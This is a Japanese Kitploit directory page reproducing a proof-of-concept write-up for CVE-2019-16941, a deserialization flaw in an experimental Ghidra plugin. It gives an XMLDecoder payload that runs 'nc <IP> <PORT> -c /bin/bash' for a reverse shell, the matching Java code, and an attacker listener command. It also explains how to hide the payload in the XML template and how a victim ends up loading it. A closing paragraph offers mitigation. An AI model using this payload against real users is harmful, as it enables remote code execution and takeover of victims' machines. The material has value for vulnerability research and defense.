Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-16941 — CVE-2019-16941 用 PoC | Kitploit
ツール/GitHubGitHub/purpleracc00n/cve-2019-16941
脆弱性分析コード分析エクスプロイトリバースエンジニアリングペイロード開発バイナリエクスプロイト
GitHubpurpleracc00n/cve-2019-16941

CVE-2019-16941

CVE-2019-16941 用 PoC

リポジトリを見る
426年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-16941

概念実証(PoC):

この脆弱性は、トリガーされるために複数の比較的起こりにくい条件を必要とするため、その悪用可能性は限定されます。しかし、任意のコード実行につながる可能性があるため、ペイロードの準備には少しの労力と理解しか必要ありません。

ペイロードの作成:

ターゲットに実行させるペイロードを作成するには、Ghidraに組み込まれているスクリプトを使用できます。これにアクセスするには、「Window」→「Script Manager」をクリックし、Code Browserに取り込んだ任意のバイナリに対して、デフォルトパラメータで「DumpFunctionPatternInfoScript.java」を実行します(ただし、出力を保存するフォルダへのパスが存在することを確認してください)。このスクリプトはXML出力ファイルを生成し、その後、影響を受けるコンポーネントにロードされます。

図1 ペイロードのテンプレートを作成

このXMLテンプレートは、Javaコードとしてデシリアライズされ、ユーザーに警告することなく静かに実行されるオブジェクトを注入するために使用できます。基本的に、悪意のあるコードは、XMLファイルの末尾、</java> クロージングタグの前に追加のオブジェクトとして挿入されます。リバースシェルを表すオブジェクトペイロードの例は次のとおりです:

root@kitploit:~
<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

上記は、次のJavaコードにデシリアライズされます:

root@kitploit:~
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

ペイロードの選択肢は無限です。XMLDecoderが必要とするXML形式に正しくシリアライズされている限り、あらゆるJavaコード(高度なマルウェアでさえ)がこの方法で実行される可能性があるためです。ペイロードをテンプレート内の他の場所に挿入する場合(さらに隠すため)は、デシリアライズ中に例外が発生し、ユーザーに警告される可能性があるため、注意が必要です。

実行:

ペイロードが実行されるプロセスは、Ghidra GUIを使用し、自動化することはできません。その代わり、被害者からの人的操作が必要であり、これはエクスプロイトが実行されるためのもう一つの条件となります。

このエクスプロイトが被害者のコンピュータで動作するには、GhidraでExperimentalプラグイン「FunctionBitPatternsExplorer」が有効になっている必要があります。これは、以下の手順に従って行うことができます:

図2 Experimentalプラグインを有効化

ツールをダウンロード

次に、ユーザーは「Window」→「Function Bit Patterns Explorer」からプラグインを開き、「Read XML Files」機能を使用してXMLファイルをロードする必要があります。ただし、これは条件の面で別の課題を提起します。攻撃者は、ユーザーにXMLペイロードを自分のマシンにダウンロードさせる方法を必要とします。

被害者の視点に戻ると、この機能ではリスト内のXMLファイルを表示できないため、ディレクトリが空に見えても正常です。「ファイル名」テキストボックスに名前の入力を始めると表示されますが、いずれも選択せず、セレクタがディレクトリを指したままにしておくことが重要です。ファイルは自動的に選択されるためです。

図3 ペイロードの実行

ユーザーが「OK」をクリックする前に、攻撃者(joe)はリモートホストでリスナーを実行し、接続を待つ必要があります。これは、次を使用して簡単に実現できます:

root@kitploit:~
$ nc -lvnp <listening_port>

実行後、結果は以下のように表示されます:

図4 リバースシェル

この脆弱性は、多くの条件が関与するため、大規模に悪用される可能性は極めて低いです。新しいパッチが提供されるまで、最善の緩和策は、影響を受ける実験的プラグインを無効化する(またはそもそも有効にしない)ことです。ただし、プラグインを使用する必要がある場合は、XMLファイルは信頼できるソースから取得する必要があります。